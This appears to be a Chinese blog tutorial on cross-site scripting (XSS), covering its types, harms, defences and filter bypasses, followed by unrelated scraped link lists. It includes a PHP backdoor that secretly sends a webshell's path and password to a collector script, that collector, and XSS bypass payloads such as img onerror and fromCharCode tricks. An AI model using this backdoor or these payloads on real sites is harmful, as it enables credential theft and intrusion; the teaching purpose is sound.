漏洞原理及防御

XSS又叫CSS (CrossSiteScript),因为与层叠样式表(css)重名,所以叫Xss,中文名叫跨站脚本攻击。

xss攻击,主要就是攻击者通过“html注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击方式。

危害

  • 可以盗取用户Cookie

  • 挂马(水坑攻击)

    在用户经常访问的网站,利用网站的漏洞植入攻击代码,访问者终端会被植入恶意程序或者直接盗取信息

  • 蠕虫(需要结合CSRF)

  • 局限性的键盘记录

防御

  1. 特殊字符HTML实体转码。最好的过滤方式是在输出和二次调用的时候进行加HTML实体一类的转码,防止脚本注入。
  2. 标签事件属性黑名单。特殊字符容易被绕过,所以还得加标签事件得黑名单或者白名单,这里推荐使用白名单的方式,实现规则可以直接使用正则表达式来匹配,如果匹配到的事件不在白名单列表,就可以直接拦截,而不是过滤为空。

XSS 原理分析:输出问题导致js代码被识别执行

​ 漏洞产生:输出问题

又返回结果1,如果注入脚本代码

这就是一个简单的反射型xss

XSS 技术分类

  • 反射性跨站(非持续型)

    经过服务器,没有和数据库有交集

  • 存储型跨站(持续型)

    是直接写入数据库,保持持久性,经过服务器

  • DOM XSS

    效果上说也是反射型XSS,但是这种XSS完全存在于客户端,不会经过服务器,直接和js拼接输出到页面

Cookie盗取

利用原理

​ 通过在评论区插入存储型XSS脚本,每次用户访问都会加载评论中的恶意脚本,导致本地cookie被发送到攻击者平台

​ 拿到webshell后,修改登录成功后的页面,插入xss获取cookie的脚本代码

XSS平台

// 页面底植入xss代码
<script src=""></script> // xss平台中的脚本

基于Xss的WebShell箱子的攻击

​ 通过在网站后台植入Xss代码将获取到的信息发送到渗透的网站中

help.php (后门)

<?php
// 正常的大马程序
// 植入Xss
$url=$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; // 百度查找相应的代码
// 输出获取到的大马路径和密码,发送到自己的渗透网站中,url值可以相应修改为xss跨站获取cookie的代码
echo "<script src=http://127.0.0.1/Webshell/index.php?u=$url&p=$password></script>"
?>

index.php (接受传来的信息)

<?php
$url=$_GET['u'];
$pass=$_GET['p'];
// 可以修改为写入数据库操作
$file=fopen('webshell.html','a+');
fwrite($file,$url);
fwrite($file,"<br>");
fwrite($file,$pass);
fwrite($file,"<br>");
fclose($file);
?>

模拟

​ 假设这是某黑客A上传的 带有黑客B植入的后门代码的大马,会将大马的消息发送到黑客B的WebShell箱子中

黑客B接收的盒子信息

这就是WebShell盒子入侵事件

如果将xss代码改为获取cookie就可以获取到权限

XSS相关防护过滤及绕过分析(参考链接)

https://www.freebuf.com/articles/web/153055.html

https://www.secpulse.com/archives/57411.html

防护:

  1. 关键字过滤
  2. 特殊符号过滤
  3. 字符串长度过滤
  4. 转义编码防护

绕过:

  1. 改变大小写

  2. 使用空白符

    1. %00
  3. Hex编码

  4. 其他标签调用

    1. < img src="javascript:alert(1);">
    2. <img src=/ onerror="alert(1)"></img> 利用图片标签,找不到图片,出错执行代码
  5. Js自带函数

    1. String.fromCharCode(88,83,83) 转换ACSII码转换成字符

    2. 绕过 alert(1) 被过滤

      用eval函数执行,其中需要转换编码格式

      将 alert 转换Unicode编码

实战知识点

  1. 通过闭合标签

    首先闭合 无效

    尝试再闭合上一层

    可以弹窗

  2. 大小写绕过

  3. 双写绕过

  4. 换注入标签

  5. 添加定位符 #

渗透之路基础 -- 跨站脚本攻击XSS的更多相关文章

  1. 记录一次网站漏洞修复过程(三):第二轮处理(拦截SQL注入、跨站脚本攻击XSS)

    在程序编写的时候采用参数化的SQL语句可以有效的防止SQL注入,但是当程序一旦成型,再去修改大量的数据库执行语句并不是太现实,对网页表单上输入进行校验是易于实现的方法.在webForm 页面中开启校验 ...

  2. 跨站脚本攻击XSS(二)——session劫持

    转载自:http://www.cnblogs.com/dolphinX/p/3403027.html 在跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小 ...

  3. 跨站脚本攻击XSS

    跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到 ...

  4. 跨站脚本攻击xss学习

    0.认识跨站脚本 举一个跨站脚本的简单例子. 假设一个页面将用户输入的参数直接显示到页面之中.(比如有如下代码) 在实际的浏览器中,在param中提交的参数正常会展示到页面之中.比如输入下面的URL: ...

  5. [Web安全之实战] 跨站脚本攻击XSS

    Writer:BYSocket(泥沙砖瓦浆木匠) 微博:BYSocket 豆瓣:BYSocket Reprint it anywhere u want. 文章Points:  1. 认识XSS 2. ...

  6. java防范跨站脚本攻击(XSS)

    网络中心提示网站有数目众多的跨站脚本攻击(XSS)漏洞,经过查看代码,认为是JSP中绑定变量是未经处理直接写入的,而且整个项目中这样的做法太多,因为是多年前的,不好一个个更改,参照网上资料,通过加fi ...

  7. 渗透之路基础 -- SQL注入

    目录 mysql注入(上) limit 有两个参数 limit 2,3 表示从2开始查3条 通过MySql内置数据库获取表名 通过MySql内置数据库获取表名对应的列名 mysql注入(中) SQL常 ...

  8. 跨站脚本攻击(xss)理解

    一  概念 攻击者不直接攻击受害者,而是利用受害者登陆的网站中的漏洞,对受害者进行攻击. 二  危害 由于js本身的限制,并不能直接对用户的电脑造成侵害,但是可以: 1. 获取用户的storage,c ...

  9. 网站安全系列:跨站脚本攻击XSS

    本篇博文主要从概念和应用上介绍XSS,主要内容来源于<白帽子讲web安全> XSS核心本质 XSS实际上是一种HTML注入,用户输入的数据被当成HTML的一部分来执行.防御方法核心是输入检 ...

随机推荐

  1. openlayer 5 获取中心点

    之前在控制台把map对象打印出来后,有一个很像中心点坐标map.focus_.我可以确定的告诉大家,这个不是中心点坐标,检查出来的结果是地图中心最右的点位. 在创建地图时,会将中心点左边写在view中 ...

  2. Tomcat(Windows)

    百度云:链接:http://pan.baidu.com/s/1pKYrf79    密码:56t0 官网下载网址:http://archive.apache.org/dist/tomcat/tomca ...

  3. CF175C Geometry Horse(贪心)

    CF175C 贪心,注意有不少细节,很容易死循环TLE 贪心是显而易见的,每次枚举价值最小的物品,进行销毁操作 朴素的枚举每一件物品复杂度为\(O(\sum k_i)\),明显超时 我们注意到朴素的+ ...

  4. Python 学习笔记 编程基础汇总000

    编程基础知识汇总000 1.计算机结构 2.编程语言分类 3.字符编码由来 计算机结构 计算机组成五大部件: 控制器.运算器.存储器.输入.输出 控制器(Controler):对程序规定的控制信息进行 ...

  5. python网络爬虫(14)使用Scrapy搭建爬虫框架

    目的意义 爬虫框架也许能简化工作量,提高效率等.scrapy是一款方便好用,拓展方便的框架. 本文将使用scrapy框架,示例爬取自己博客中的文章内容. 说明 学习和模仿来源:https://book ...

  6. tomcat7之性能优化

    一.Tomcat 7.0.X: 要了解tomcat的优化,我们先看看Tomcat的官方定义:The Apache Tomcat® software is an open source implemen ...

  7. 计时器(Chronometer)、标签(TabHost)

    计时器(Chronometer) 方法 描述 public Chronometer(Context context)[构造方法] 创建Chronometer对象 public long getBase ...

  8. solidity的delete操作汇总

    简介 Solidity中的特殊操作符delete用于释放空间,为鼓励主动对空间的回收,释放空间将会返还一些gas. delete操作符可以用于任何变量,将其设置成默认值0. 删除枚举类型时,会将其值重 ...

  9. Jmeter CSV config使用

    1.添加线程组,自己给线程组命名 2.添加CSV data set config 如上,filename是文件的名字 新增.txt文件,将变量写在文件中,完成后,更名为.csv:变量之间用逗号隔开(第 ...

  10. threeJS创建mesh,创建平面,设置mesh的平移,旋转、缩放、自传、透明度、拉伸

    这个小案例是当初我在学习的时候,小的一个小案例,代码还需要进一步优化:还请谅解~~:主要用到了threeJS创建mesh,创建平面,设置mesh的平移,旋转.缩放.自传.透明度.拉伸等这些小功能: 采 ...